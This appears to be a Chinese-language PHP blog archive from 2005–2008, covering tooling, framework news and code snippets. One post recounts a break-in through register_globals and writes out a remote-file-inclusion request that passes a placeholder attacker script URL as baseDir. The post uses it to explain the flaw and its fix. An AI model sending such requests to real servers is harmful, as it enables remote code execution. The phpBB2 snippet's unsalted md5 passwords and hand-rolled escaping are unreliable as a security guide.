PHP_Beautifier 安裝與使用

Posted on 2008-01-30 10:49:45 by

最近都在找一些可以讓程式碼好看,讓文件好作,讓事情變得輕鬆愉快的套件或是模組。

記得前一陣子在 讓程式碼好看些 - PHP_Beautifier 有看到 PHP_Beautifier 所以就拿來玩玩看囉!
發現真是個很有趣很不錯的東西,安裝後可以直接在 shell 中將程式碼統一格式,是非常方便又實用的一個套件。

系統需求?

PHP_Beautifier 需要在 php5 的環境下執行!

但是,可以處理的是 php3, php4, php5 的檔案,基本上他是對排版作調整,並不會去調整語法。

安裝方式?

使用 pear 安裝

先確認 pear 的 channel 都更新了..

pear update-channels

然後直接使用 pear install 安裝,這裡要注意的是 PHP_Beautifier 目前還是 beta 版..

pear install PHP_Beautifier-beta

若是正式版的話只要 pear install PHP_Beautifier 即可.

接下來程式會跑跑跑,自動下載相依的 pear 模組,然後就會安裝完成.(意想不到的簡單吧!)

如何使用?

由於他會自動多一個 php_beautifier 的 shell script 在 /usr/bin 中,所以只要直接執行 php_beautifier 就好囉!

先來看一下他的 help

php_beautifier --help

Usage: php_beautifier [options] <infile> <out>
         <infile> and/or <out> can be '-', which means stdin/stdout.
         you can use ? and * for batch processing
         <out> can be a dir (ending with '/' or a real dir)
               or a file (without '/')
         multiple ins and one out = merge all files in one output
Options:
     --input             or -f <file>    input file  - default: stdin
     --output            or -o <out>     output dir or file - default: stdout
     --indent_tabs       or -t <int>     indent with tabs
     --indent_spaces     or -s <int>     indent with spaces - default
     --filters           or -l <fil_def> Add filter(s)
     --directory_filters or -d <path>    Include dirs for filters
     --compress          or -c <type>    Compress output
     --recursive         or -r           Search in subdir recursively
     --help              or -?           display help/usage (this message)

Filter definition:
     --filters "Filter1(setting1=value1,setting2=value2) Filter2()"
 

執行的時候通常看你自己的習慣是什麼,通常主要是 -t -s 兩個要選一個用,預設使用的是 -s 也就是所有的縮排都是用『空白』,而 -t 則就是縮排用的是『TAB』

另外會用到的通常還有 -r 這個遞迴參數,這樣才能同時連子目錄下面的一起處理。

你可以這樣試試

php_beautifier -t -r mylibs/* new_mylibs/

這樣就會把 mylibs 底下所有的檔案進行一次 php_beautifier 並且輸出到 new_mylibs 下。

Tags:

加入書籤: 收藏這篇文章到HEMiDEMi

Aptana 1.1

Posted on 2008-01-28 11:12:42 by

這兩天要把 Aptana 裝起來用看看。

認識我的朋友都知道,我一直以來都是用 ZDE 這套官方開發的 PHP ide 開發工具在開發,當然不外乎是因為他功能上可以少去我很多開發查找資料的時間,還有減少程式撰寫的錯誤等等。

不過新版的 Zend Studio for Eclipse 用起來總是有一點點覺得不順手,沒有原來的 ZDE 5.5 好用,但是用了一陣子 ZSE 後,也覺得 Eclipse 功能上的確是有他強的地方,所以就來找找可以跟 ZSE 一較高下的其他 IDE ...

目前使用的是 Aptana 1.1 的版本,也是同時提供 Windows , Linux 多平台的環境可選擇。

其中比較好的的方式,他都提供 Zip 免安裝壓縮檔,基本上只要下載,解開,執行,就可以立刻使用,不管是 Linux 上還是 Windows 都一樣,著實方便很多!
尤其是 ZDE 5.5 在最近新版的 Linux 桌面環境下,安裝過程中總是會有需要自己 patch 的地方,不然不能安裝,實在是令人有點頭大,相比之下真的是方便許多。

接下來就是不斷的測試跟練習,看看 Aptana 有沒有辦法讓我更滿意囉...

 

Tags:

加入書籤: 收藏這篇文章到HEMiDEMi

Sun 砸大錢買 MySQL

Posted on 2008-01-17 10:51:41 by

來自 Sun 的消息

http://www.sun.com/aboutsun/media/presskits/2008-0116/index.jsp?intcmp=hp2008jan16_mysql_learn

來自 MySQL 的消息

http://www.mysql.com/news-and-events/sun-to-acquire-mysql.html

說真的,不知道這是好是壞勒。

不過至少這個 MySQL 又增加了強力的後台了,對於大型環境的支援應該會增加了不少的助益吧!

Tags:

加入書籤: 收藏這篇文章到HEMiDEMi

安裝與使用PhpDocumentor

Posted on 2007-11-06 10:55:34 by

寫文件是一個程式設計師最最痛苦的事情之一,尤其是寫了一堆程式後有人要你把 Function ,Class 等等等等,寫成一份文件。

這事情不管你是寫 c/c++ , perl , ruby , php 都不例外。

phpDocumentor 是我們的救星! 只要在寫程式的時候,乖乖的寫一點註解,寫一點範例,多一點說明,注意一下格式,等到程式完工後,只要一個指令,就可以立刻把全部程式的說明文件產生出來,而且還有多種樣式可以選擇,甚至可以作成  PDF , CHM 喔...

好了,屁話不多說,先來說說怎麼裝上這好用的東西吧...

phpDocumentor 本身已經是 pear 的成員之一,所以安裝的時候只要用 pear 來安裝即可(以下範例為在 Windows 下進行,以後再補上 LInux 下的)

--如果你已經有裝 php 跟 pear 請跳過--

首先假設我把我的的 php 安裝路徑在 d:\php\

也就是說我從 www.php.net 下載了最新的 php win32 安裝檔案,解開後放在 d:\php\

那麼這個目錄下面應該有 d:\php\PEAR這個目錄,但是當你進去看的時候,你會發現好像沒有 PEAR 相關程式庫阿...

沒錯,這個時候你還沒有安裝 PEAR 請先用 go-pear.php 安裝基本 pear 環境。

那麼在 d:\php 目錄下有一個檔案,叫做 go-pear.bat 請開一個 cmd 視窗去執行他,中間會有一些問題,基本上都照預設值去跑就可以了...

跑玩後,你的 pear 應該會被安裝在 d:\php\PEAR\pear 下面,而幫助你安裝其他 pear 套件的 pear.bat 則在 d:\php\PEAR下面

--安使安裝 phpDocumentor --

安裝 phpDocumentor 的過程也很簡單,只要利用 pear.bat 即可!

使用指令如下

d:\php\PEAR\pear.bat install -o PhpDocumentor

當中有多下一個 -o 的參數,意思是要 pear 把相依的套件也一起下載安裝。

安裝完成後 d:\php\PEAR 下面應該會多一個 phpdoc.bat 的批次檔,我們就可以用這個批次檔來產生我們的文件。

-- 使用 phpdoc.bat 產生文件 --

產生文件的方式我通常只有用下面一行指令解決:

d:\php\PEAR\phpdoc.bat -o HTML:Smarty:PHP -d d:\myProject\php_source\ -t d:\myProject\docs

這樣子的意思是說,採用 HTML:Smarty:PHP 的樣板格式,然後原始碼目錄在 d:\myProject\php_source\ ,接著把產生的文件放在 d:\myProject\docs 底下。

當中若是你只要對一個檔案作文件的話,可以把 -d 改成 -f 然後後面接的著就是指定的檔名。

樣板的格式基本上有 HTML, XML, PDF, CHM 四大類別,通常我用的都是 HTML:Smarty:PHP 這個,因為他比較好看!

另外還有就是 CHM:default:default 這個.用來產生 chm 的,不過他產生出來的是 .hhp 檔案,也就是還沒有經過 HTML helper 編譯過的檔案,所以要另外安裝 HTML Helper 來編譯 hhp 檔案就可以產生你要的檔案。

-- 最後來說一下怎麼寫註解 --

phpDocumentor 的註解有一定的規格,但是都跟我們原來寫註解的方式很像,只是要注意一下東西而已。

簡單的來看個範例好了

<?php
/**
 * 這裡是這個物件的說明
 * 可以多行喔!~
 *
 */
class MyClass {
    /**
     * 這裡是變數的說明
     *
     * @var int
     */
    var $a ;
    /**
     * 這裡是變數的說明.
     *
     * @var string 這裡也可以放說明
     */
    var $b ;
    
    /**
     * 這是針對函式的說明
     * 也是一樣可以多行
     * 若是簡單的範例也可以放這裡
     *
     * @param int $a 可以放入傳入的型態
     * @return array 可以說明回傳的型態
     */
    function first ( $a ) {
        return array();
    }
}
?>

基本上都是在

/*
*
*/

中間寫註解,別忘了每行前面要有個 * 喔!

註解比較常用到參數的應該是
@author 程式作者名稱,聯絡方式
@const 常數
@deprecate 不建議使用的 API
@global 全域變數
@param 函數的參數
@return 回傳值
@see 可參考函數
@since 開始時間
@static 靜態變數
@var 物件成員變數
@todo 計畫中要進行的項目
 

更多更詳細的資料請到 http://www.phpdoc.org/ 看囉!~

Tags:

加入書籤: 收藏這篇文章到HEMiDEMi

一份介紹 CakePHP 1.2 的 PDF

Posted on 2007-10-07 23:29:00 by

內容很多,幾乎把 CakePHP 1.2 上很多重要的新東西都講到的,看完了很心動很想馬上來試試看阿!
http://www.cakephp.org/files/OCPHP.pdf

Tags:

加入書籤: 收藏這篇文章到HEMiDEMi

del.icio.us 改用 Symfony 架構整個網站

Posted on 2007-10-04 21:45:28 by

網站製作學習誌 看到的消息...

國外知名的書籤網站 http://del.icio.us/ 已經在十月初期重新建構了網站程式,採用的是 Symfony 這套 PHP Framework ..

相關文章請看..
http://blog.phpdeveloper.co.nz/2007/10/03/delicious-switches-to-symfony/
http://www.symfony-project.com/blog/2007/10/02/delicious-preview-built-with-symfony

看樣子最近已經有越來越多網站開始重視使用的 PHP Framework 囉!...
目前比較有名一點的,我想大概就是 SymfonyCakePHP Zend Framework 這三套吧!~
對 PHP 有研究的朋友,別忘了試試看唷!

Tags:

加入書籤: 收藏這篇文章到HEMiDEMi

超快速的實現 session on memcache

Posted on 2007-08-22 21:18:56 by

看文件總是會有新發現...
如果你用的 php, php-memcache 版本夠新...
可以很輕易的將 Session 用 memcached 保存了...

 
session.save_path string

Defines a comma separated of server urls to use for session storage, for example "tcp://host1:11211, tcp://host2:11211".

Each url may contain parameters which are applied to that server, they are the same as for the Memcache::addServer() method. For example "tcp://host1:11211?persistent=1&weight=1&timeout=1&retry_interval=15"


代碼:
<?php
$session_save_path = "tcp://$host:$port?persistent=1&weight=2&timeout=2&retry_interval=10,  ,tcp://$host:$port  ";
ini_set('session.save_handler', 'memcache');
ini_set('session.save_path', $session_save_path);
?>


http://tw.php.net/memcache

Tags:

加入書籤: 收藏這篇文章到HEMiDEMi

Pixnet + Google Apps !

Posted on 2007-08-14 17:08:03 by

Pixnet 這一招真是太厲害了!~

利用跟 Google Apps 的合作,以最少的人力跟開發時間,更節省了大多數的設備與相關環境建制的需求。

一下子就可以提供所以使用者2G信箱,且還有完整的垃圾信過濾機制。

我想 Pixnet 應該也不是一分錢都沒有花,個人覺得應該是跟 Google 採用下面的合作方式,以較為低廉的價格來替所有使用者提供服務。

http://www.google.com/a/partners/?hl=zh_TW 

以下是 Pixnet 方面的公告...

http://blog.pixnet.net/admin/post/7454550 

稍微算一下就大概可以知道 pixnet 此舉可以說是超級划算的,一來省了頻寬,又省了機器,更省了開發前後台的時間與人力。

Tags:

加入書籤: 收藏這篇文章到HEMiDEMi

PHP4 要掰掰囉!~

Posted on 2007-07-14 11:18:10 by

 拖了這麼久,PHP5 都已經改到 5.2.3 了,終於官方網站宣佈 PHP4 即將終止更新與維護,我相信這是官方網站的正確選擇。

有要需要更新自己程式的朋友們,別忘了要看看  Migration Guide 喔...

PHP 4 end of life announcement

[13-Jul-2007]

Today it is exactly three years ago since PHP 5 has been released. In those three years it has seen many improvements over PHP 4. PHP 5 is fast, stable & production-ready and as PHP 6 is on the way, PHP 4 will be discontinued.

The PHP development team hereby announces that support for PHP 4 will continue until the end of this year only. After 2007-12-31 there will be no more releases of PHP 4.4. We will continue to make critical security fixes available on a case-by-case basis until 2008-08-08. Please use the rest of this year to make your application suitable to run on PHP 5.

For documentation on migration for PHP 4 to PHP 5, we would like to point you to our migration guide. There is additional information available in the PHP 5.0 to PHP 5.1 and PHP 5.1 to PHP 5.2 migration guides as well.

 

 

Tags:

加入書籤: 收藏這篇文章到HEMiDEMi

[JavaScript]取得瀏覽器可視範圍的寬度跟高度

Posted on 2007-07-05 18:37:10 by

本來想說應該還不難,結果被 IE 跟 Mozilla 的不同搞了半天...

最後看到這個網頁上的表格才知道用哪個方式來抓取...

http://www.howtocreate.co.uk/tutorials/javascript/browserwindow

範例程式:

    if (parseInt(navigator.appVersion)>3) {
            if (navigator.appName=="Netscape") {
                winW = window.innerWidth;
                winH = window.innerHeight;
            }
            if (navigator.appName.indexOf("Microsoft")!=-1) {
                winW = document.documentElement.clientWidth;
                winH = document.documentElement.clientHeight;
            }
        }

Tags:

加入書籤: 收藏這篇文章到HEMiDEMi

非官方 Buboo Badges , Blog 元件..

Posted on 2007-06-26 15:25:00 by

左欄有個 Buboo 的 Badges,由於目前正在等 Buboo 的正是版本出來,所以不打算更新。

但是看到很多朋友有在問這方面的問題,且想加快 Buboo 在 Blog 圈的使用,所以先釋出這個非官方的版本。

注意:此版本為非官方版本,有問題的話請找我,另外,在官方版本出來前,應該是不會停用,除非有重大瑕疵,否則也不會更新程式碼。 

使用方式:

請將下面的程式碼加入你的邊欄中..

<script type="text/javascript" src="http://home.darkhero.net/~darkhero/funnyGame/buboo/buboo_user_widget.php?username=darkhero&c_width=200&c_number=6&c_pic=Y"></script>

參數說明:

username 你在 buboo 上的帳號

c_width 你希望他有多寬

c_number 你希望顯示幾則訊息

c_pic 是否要顯示頭像(Y/N) 

UPDATE:

新增參數 friend 是否要顯示朋友們的訊息(Y/N) 

Tags:

加入書籤: 收藏這篇文章到HEMiDEMi

mybloglog for php 重起...

Posted on 2007-06-01 12:11:15 by

昨天晚上一直再看丹尼老大的 mybloglog cache 本來一直想不透要怎麼讓他可以 cache 又可以讓使用者的瀏覽紀錄能被記錄下來。

最後終於發現,需要另外自己多放一段 script 讓使用者去連結 mybloglog 的 tracer ....

所以上次的 mybloglog cache 是可以用的..;p...

不過我這次也改了一些地方,讓所有的使用者都有辦法可以用,只要主機有支援 curl 即可,甚至不需要 wget 或是 crontab ,就算主機商把 exec, system 關掉也沒關係...

新版在同樣的位置 mybloglog_cache.tgz

安裝與使用方法如下:
1. 將mybloglog_cache.php程式中第10行的$mblID修改為你的ID
2. 將mybloglog_cache.php上傳到你放部落格程式的目錄
3. 在放部落格程式的目錄下面再建立一個名稱為tmp的目錄
4. 在要顯示MyBlogLog的位置加入下面語法
<script src="mybloglog_cache.php"></script>
<!-- 請更換 mlbID 為你的-->
<script type="text/javascript" src="http://track3.mybloglog.com/js/jsserv.php?mblID=2007051223343302"></script>

 

Tags:

加入書籤: 收藏這篇文章到HEMiDEMi

MyBlogLog Cache for PHP 版本

Posted on 2007-05-30 16:49:31 by

發現致命的問題點,請大家不要下載使用.....

MyBlogLog 本身就是靠該 script 進行 User Trace 的..結果 cache 卻讓該 Javascript 完全無法在使用者端執行,更無法知道正在讀取網頁的是哪個使用者,因此無法有任何新的 User 瀏覽紀錄,這跟原來裝 MyBlogLog 的用途完全相反。

程式跟根據丹尼老大寫的 MyBlogLog Cache 0.2 改寫而成.

主要的修改是在於改成 PHP 作為主要程式語言,因為有很多朋友使用的虛擬主機並不支援 crontab 所以就無法正確使用丹尼老大的 MyBlogLog Cache 0.2 了.

改寫的部份主要改成直接在網頁中 include 這隻程式,程式本身會自動抓取 MyBlogLog 的 js 跟 avater .

但是為了避免每次都要重新抓很浪費資源,所以程式中也加上了Cache的機制。

可以在程式中設定產生的 mybloglog.php 的到期時間為多久,預設為600秒(10分鐘),而圖片的部份也有設定到期的設定,預設則為 86400(24小時). 

你可以在下面位置取得這個修改過後的程式:mybloglog_cache.tgz

相關連結:

Tags:

加入書籤: 收藏這篇文章到HEMiDEMi

從自己的名字看你古代的地位 程式版...

Posted on 2007-04-27 16:42:46 by

今天在 Hemidemi 上看到的有趣連結。

從自己的名字看你古代的地位

由於規則很簡單,所以就順手程式化了!~...

從自己的名字看你古代的地位 (程式版)

目前是放在我家的 ADSL 上,要是流量變大了的話,那就會搬到這個空間來了....

程式更新:有朋友反應更換新版後,有的拼音法結果反而無法得到結果,花了一些時間查了一陣子,發現是查回來的拼音有『'』,而在回傳給 Javascript 的時候,並沒有進行 Slashes 的處理,所以導致 Javascript 錯誤,目前已經修正了這部份的程式,不過由於目前人在外面所以還沒有更新,今天晚上就會更新了..^_^..

--

Update:更新了位置.

Tags:

加入書籤: 收藏這篇文章到HEMiDEMi

MySQL 4.1 以前的維護終止!

Posted on 2007-02-12 14:13:04 by

所有在使用 MySQL 4.0 甚至是 MySQL 3.23 的朋友們請注意唷!~...

MySQL 4.1 以前的官方維護已經終止了!~

強烈建議大家要升級到使用 MySQL 5 喔!~

官方說明

End of Product Lifecycle. Active development and support for MySQL database server versions 3.23, 4.0, and 4.1 have ended. For MySQL 4.0 and 4.1, there is still extended support available, though. For details, see http://www.mysql.com/company/legal/lifecycle/#calendar.According to the MySQL Lifecycle Policy (see http://www.mysql.com/company/legal/lifecycle/#policy), only Security Level 1 issues will still be fixed for those versions. Please consider upgrading to a recent version (MySQL 5.0 or 5.1).

 

Tags:

加入書籤: 收藏這篇文章到HEMiDEMi

admin route 強迫使用 https 連線

Posted on 2007-02-02 11:15:51 by

目前大部分的電子商務網站,大部分後台都是直接就在線上的某個路徑下,或是某個 subdomain 下 ....

而客戶對於安全的需求,有時後會要求全部後台使用 SSL 進行連線。

所以就誕生了下面我用的這段 Code ..
In bootstrap.php
代碼:
if(substr($_GET["url"],0,6) == CAKE_ADMIN.'/' and empty($_SERVER['HTTPS']) ){
   header('Location: https://'.$_SERVER["HTTP_HOST"].'/'.CAKE_ADMIN.'/');
}

Tags:

加入書籤: 收藏這篇文章到HEMiDEMi

迴響驗證...

Posted on 2007-01-09 16:19:43 by

用算術的方式做了簡單的迴響驗證。

迴響的時候要輸入九九乘法的結果,正確的答案才可以寫入迴響。

 

Tags:

加入書籤: 收藏這篇文章到HEMiDEMi

require_recursion

Posted on 2006-09-13 11:51:53 by

在TWPUG中有朋友問可以不可以require 一整個目錄。

但是PHP的 require 本身沒有這個功能,所以只好自己寫一個...

還沒有試過,但是應該是可以run的啦~

<?php

/**
* Recursion require file.
* If $target is directory then include all file in the directory.
*
* @param string $target
*/
function require_recursion($target){
    if(is_dir($target)){
        $d = dir($target);
        while (false !== ($entry = $d->read())) {
            if ($entry != '.' and $entry != '..') {
                if (is_dir($entry)) {
                    require_recursion($entry);
                }else{
                    require($entry);
                }
            }
        }
    }
}

?> 

[@more@]

Tags:

加入書籤: 收藏這篇文章到HEMiDEMi

phpbb2 會員功能修改~

Posted on 2006-04-10 12:31:57 by

因為一個專案需要一個討論區,但是又沒有要另外製作太特殊的功能,所以就要直接拿 phpbb2 來用。

但是基本上不會用原來 phpbb2 的會員註冊功能,因為原來的網站有自己的會員系統,所以目前最麻煩的事就是要整合兩個系統的會員資料。

目前想到最簡單得作法是,當原來的會員系統會員註冊的時候,同步寫入一筆新會員資料到 phpbb2 ,同時關閉掉 phpbb2 的會員註冊功能,這樣應該可以達到一個簡單的 Single Sign On 的功能。

[@more@]

於是寫了一個簡單的函式,處理討論區新增會員的功能。



/**
* 新增 phpbb2 使用者
*
* @param string $username
* @param string $password
* @param string $email
*/
function add_phpbb2_user($username,$password,$email){
// 建立 phpbb2 資料庫連線物件
define('IN_PHPBB', true);
$phpbb_root_path = './forum/';
include_once($phpbb_root_path."config.php");
include_once($phpbb_root_path."extension.inc");
include_once($phpbb_root_path."includes/constants.php");
include_once($phpbb_root_path."includes/db.php");

// auth OK
$sql = "SELECT user_id, username, user_password, user_active, user_level FROM " . USERS_TABLE .
" WHERE username = '" . str_replace("'", "''", $username) . "'";
if ( !($result = $db->sql_query($sql)) )
{
message_die(GENERAL_ERROR, 'Error in obtaining userdata', '', __LINE__, __FILE__, $sql);
}
if( !($row = $db->sql_fetchrow($result)) ) {
// no data found, first login
$sql = "SELECT MAX(user_id) AS total FROM " . USERS_TABLE;
if ( !($result = $db->sql_query($sql)) )
{
message_die(GENERAL_ERROR, 'Could not obtain next user_id information', '', __LINE__, __FILE__, $sql);
}

if ( !($row = $db->sql_fetchrow($result)) )
{
message_die(GENERAL_ERROR, 'Could not obtain next user_id information', '', __LINE__, __FILE_, $sql);
}
$user_id = $row['total'] + 1;

$sql = "INSERT INTO " . USERS_TABLE . " (" .
"user_id," .
"username," .
"user_regdate," .
"user_password," .
"user_email," .
"user_icq," .
"user_website," .
"user_occ," .
"user_from," .
"user_interests," .
"user_sig," .
"user_sig_bbcode_uid," .
"user_avatar," .
"user_avatar_type," .
"user_viewemail," .
"user_aim," .
"user_yim," .
"user_msnm," .
"user_attachsig," .
"user_allowsmile," .
"user_allowhtml," .
"user_allowbbcode," .
"user_allow_viewonline," .
"user_notify," .
"user_notify_pm," .
"user_popup_pm," .
"user_timezone," .
"user_dateformat," .
"user_lang," .
"user_style," .
"user_level," .
"user_allow_pm," .
"user_active," .
"user_actkey" .
") VALUES (" .
"$user_id," .
"'" . str_replace("'", "''", $username) . "'," .
time() . "," .
"'" . str_replace("'", "''", md5($password)) . "'," .
"'" . str_replace("'", "''", $email) . "'," .
"'" . str_replace("'", "''", "") . "'," .
"'" . str_replace("'", "''", "") . "'," .
"'" . str_replace("'", "''", "") . "'," .
"'" . str_replace("'", "''", "") . "'," .
"'" . str_replace("'", "''", "") . "'," .
"'" . str_replace("'", "''", "") . "'," .
"''," .
"''," .
"0," .
"0," .
"'" . str_replace("'", "''", str_replace(' ', '+', "")) . "'," .
"'" . str_replace("'", "''", "") . "'," .
"'" . str_replace("'", "''", "") . "'," .
"1," .
"1," .
"1," .
"1," .
"1," .
"0," .
"0," .
"1," .
"8.00," .
"'" . str_replace("'", "''", "D M d, Y g:i a") . "'," .
"'" . str_replace("'", "''", "chinese_traditional_taiwan") . "'," .
"1," .
"0," .
"1," .
"1," .
"''" .
")";
echo $sql;
if ( !($result = $db->sql_query($sql, BEGIN_TRANSACTION)) )
{
message_die(GENERAL_ERROR, 'Could not insert data into users table', '', __LINE__, __FILE__, $sql);
}

$sql = "INSERT INTO " . GROUPS_TABLE . " (group_name, group_description, group_single_user, group_moderator)" .
" VALUES ('', 'Personal User', 1, 0)";

echo $sql;
if ( !($result = $db->sql_query($sql)) )
{
message_die(GENERAL_ERROR, 'Could not insert data into groups table', '', __LINE__, __FILE__, $sql);
}

$group_id = $db->sql_nextid();

$sql = "INSERT INTO " . USER_GROUP_TABLE . " (user_id, group_id, user_pending)" .
" VALUES ($user_id, $group_id, 0)";

echo $sql;
if( !($result = $db->sql_query($sql, END_TRANSACTION)) )
{
message_die(GENERAL_ERROR, 'Could not insert data into user_group table', '', __LINE__, __FILE__, $sql);
}
}
}

另外修改討論區中的 includes/usercp_register.php,將 $mode=register 的情況都轉回原來的會員註冊系統。

參考資料:OpenLDAP 整合方案

Tags:

加入書籤: 收藏這篇文章到HEMiDEMi

Zend Framework

Posted on 2006-03-09 11:36:40 by

PHP 程式引擎核心的 Zend 公司推出了 Zend Framework .

相關文件可以在網站上直接參考。

PHP 目前各類的 Framework 真是百家爭鳴,從CakePHP,phpMvc....一直到現在的 Zend Framework,這麼多種不同理念跟設計下的Framework,相信對於開發者來說是又高興又困擾吧。

[@more@]

Tags:

加入書籤: 收藏這篇文章到HEMiDEMi

Register_global 的危險!

Posted on 2006-02-20 10:43:34 by

前兩天由於自己家中的主機怪怪得,所以做了一些檢查,赫然發現一堆不知道從那出來的 Email 再寄送,當下嚇到怕變成 SPAM 的木馬!∼

詳細檢查後發現主要是由 Register_global 開啟加上 require_once 沒有確認路徑變數的關係,導致被 spam 在 /tmp 下塞入了一個 script 自動發信!

該段語法如下 (xxxx.inc.php):

require_once $baseDir."include_once/adodb....";

主要就是在於沒有檢查 $baseDir 的位置與內容,且開啟了 register_global 的關係,所以可以直接採用:

http://xxxx.xxxx.xxxx/include_base/init_database.php?baseDir=http://xxxx.xx.xxx/hackerScript.txt; .....等。

原來 include_base 應該是給 /index.php 來 include 後使用的,而非給 client 存取的,所以讓使用者可以直接存取造成了安全上得隱憂。

另外 $baseDir 又容由另外一個檔案進行設定,所以 init_database.php 並沒有檢查該變數的內容。

基本上這種問題若是有關閉 register_global 就不會發生囉,不過由於原來的系統上有一些程式需求要 register_global = on 才能使用,所以才會這樣設定。

剛剛查過網路上,相類似的情況可以在預設 php.ini 為 register_global = off ,而在 .htaccess 設定 PHPINI 來改變特定目錄下的特性。

anyway,現在把東西重新調整過也把被偷發的垃圾信都刪掉了,希望以後不會再次發生這樣的問題了。

[@more@]

Tags:

加入書籤: 收藏這篇文章到HEMiDEMi

ZCE 1000 人次將要達成!

Posted on 2006-01-10 16:45:12 by

很可能在這個月,ZCE將要達到1000人次認證,也就是說,全球將達到有 1000 名 Zend Certified Engineer。

Zend 為了慶祝這個階段達成,特別為前1000名製作了新的ZCE logo。

小弟幸運的也在這1000人之列,所以收到了這個Logo...

ZCE 1000~

[@more@]

Tags:

加入書籤: 收藏這篇文章到HEMiDEMi

好書推薦!~「 PHP Smarty 樣版引擎」!

Posted on 2005-10-29 00:18:21 by

當初我就是看他寫的 smarty 入門的文章入門!

推薦 PHP程式設計師 閱讀...讓你從此擺脫程式碼與HTML糾纏不清的噩夢!~

也推薦網頁設計師閱讀,如此你更能知道該如何跟PHP網頁程式設計師搭配合作出美麗又功能豐富的樣版!!!

「 PHP Smarty 樣版引擎」

[@more@]

Tags:

加入書籤: 收藏這篇文章到HEMiDEMi

SA@台中 PHP程式設計經驗分享 簡報上線~

Posted on 2005-09-21 13:54:13 by

終於昨天晚上先把簡報的基礎寫完了....

先上線,這兩天看情況在補充資料進去...

當然拉..補充的資料就當天才會聽到囉...^_^..

最新的簡報已經更新囉~

20040924_PHP程式設計經驗分享簡報.pdf

[@more@]

Tags:

加入書籤: 收藏這篇文章到HEMiDEMi

Smarty 表格縮排練習

Posted on 2005-09-13 02:11:31 by

前兩天在BBS上回答人家的問題...

關於 Smarty 縮排的,還算滿有用的所以貼上來

原問題:

發信人: mycallsoft.bbs@ptt.cc (輕聲細語), 看板: programming
標 題: [問題] smarty可以縮併展示列嗎?
發信站: 批踢踢實業 (Sun Sep 11 06:29:48 2005)
轉信站: SayYa!ctu-reader!news.nctu!ptt
Origin: sally.csie.ntu.edu.tw

請教版上對smarty有了解的高手, smarty可有支援產生類似像以下表格
的功能? 可以依照資料列的從屬關聯來縮併展示列:

訂單內容
+------+------+------+------+------+------+----------+------+
| 分類 | 項目 | 數量 | 單位 | 單價 | 價格 | 分類累計 | 總計 |
+------+------+------+------+------+------+----------+------+
| | 西瓜 | 20 | 個 | 20 | 400 | | |
+ 水果 +------+------+------+------+------+ 1300 | |
| | 蘋果 | 60 | 個 | 10 | 600 | | |
+------+------+------+------+------+------+----------+ 2100 |
| | 白菜 | 50 | 束 | 10 | 500 | | |
+ 蔬菜 +------+------+------+------+------+ 800 | |
| | 竹筍 | 20 | 個 | 15 | 300 | | |
+------+------+------+------+------+------+----------+------+

資料結構為:
$Order=array(
'CheckList'=array(
0=>array(
'Class'=>'水果',
'ItemSet'=>array(
0=>array(
'Item'=>'西瓜',
'Quantity'=>'20',
'Unit'=>'個',
'Unit_Price'=>'20',
'Price'=>'400'
),
1=>array(
'Item'=>'蘋果',
'Quantity'=>'60',
'Unit'=>'個',
'Unit_Price'=>'10',
'Price'=>'600'
)
),
'Price'=>1300
),
1=>array(
'Class'=>'蔬菜',
'ItemSet'=>array(
0=>array(
'Item'=>'白菜',
'Quantity'=>'50',
'Unit'=>'個',
'Unit_Price'=>'10',
'Price'=>'500'
),
1=>array(
'Item'=>'竹筍',
'Quantity'=>'20',
'Unit'=>'個',
'Unit_Price'=>'15',
'Price'=>'300'
)
),
'Price'=>800
)
),
'Price'=>2100
);

感謝您看完, 3Q3Q ;)

--
※ 發信站: 批踢踢實業坊(ptt.cc)
◆ From: 218.165.106.70
※ X-Info: darkhero -> darkhero@v-dark.net
※ X-Sign: 11IBH65lguQdT/rv/Aq6 (05/09/13 2:11:17 )
[@more@]

解答的程式與Smarty樣板:

http://home.v-dark.net/~darkhero/test/test3.php
http://home.v-dark.net/~darkhero/test/test3.phps
http://home.v-dark.net/~darkhero/test/templates/test2.html

Tags:

加入書籤: 收藏這篇文章到HEMiDEMi

SA.PHP觀念教室 首部曲:了解$_POST,$_GET

Posted on 2005-06-20 05:23:46 by

不知道為什麼半夜四點忽然醒來睡不著....就來寫寫文件好了....

SA.PHP觀念教室 首部曲:了解$_POST,$_GET

前言: 各位親愛的SA學員們好,本觀念教室不會教你寫php程式,所以要是你抱著在這就會學到寫程式的,恭喜你來錯地方了.
這個叫做觀念教室.只教程式語言的觀念,不教程式撰寫方法.

預期本堂的學員程度:
    1.剛開始學習PHP程式語言的朋友
    2.知道 $_POST,$_GET 卻不了解為什麼要這樣用的朋友
    3.每次都是要把 global register 打開才會寫php的朋友
    4.正在寫php卻完全不知道啥是 $_POST $_GET 的朋友
[@more@]緣起: 說到 php 的$_POST跟$_GET這兩個變數,得從PHP4.1開始帶來的變化說起.

想當初php開始發展的時候,開發人員為了方便操作各種變數與網頁傳進來的值,所以就採用了將所有的不管是client傳進來的變數值,跟Server 端自動產生的變數值,都自動以 $變數名稱 存在於整個php程式中.
所以當你在當時(php4.1 以前,也就是 php3 ~ php4.0 的時代),會很習慣使用各種 $變數名稱,或是從使用者送出的表單之中的輸入欄位名稱為變數 $欄位名稱.

問題:但是這種情況,在php發展到了一定的規模後,遇到了一個問題.

這個問題主要在於安全上的隱憂!
客戶瀏覽器傳入的值,與系統自動產生的變數,或是系統內部變數,甚至是程式當中的原有變數產生衝突怎麼辦??...
要是程式當中有個 $subtotal 是存放購物金額的. 但是傳入的表單欄位中不知道為什麼不小心多打了個 subtotal 呢?... 程式會以哪個為準?...
要是cookie之中的變數名稱與我要用的程式變數名稱重複了?.....

$_POST與$_GET等變數陣列誕生: 如此多的問題困擾著開發php程式的開發人員,也讓php產生了很多安全上的隱憂, 所以php開發團隊當初建議使用者,使用像是 $HTTP_SERVER_VARS ,$HTTP_GET_VARS ,$HTTP_POST_VARS ,$HTTP_COOKIE_VARS 等陣列來取得該變數..

但是聰明的你跟懶惰的我,絕對發現了.這樣寫起來.每個變數名稱又臭又長,誰會想這樣寫程式阿

所以,在 php4.1 以後 變產生了 $_POST $_GET $_SERVER $_COOKIE $_SESSION 等 陣列,其功用就如同上面所列的.是將使用者經由表單送出的資料以陣列的方式進行一個存放,而非直接註冊在 $欄位名稱 這樣的變數裡面.

接著 PHP 開發團隊更進一步的預設了 php.ini 中 global register 的設定
值為關閉的狀態.

這樣.親愛的學員朋友們,你清楚為什麼要使用$_POST 與 $_GET 來取得使用者傳入的表單了嗎?
希望這一篇文章能幫助您將來撰寫php程式的時候更順利唷.

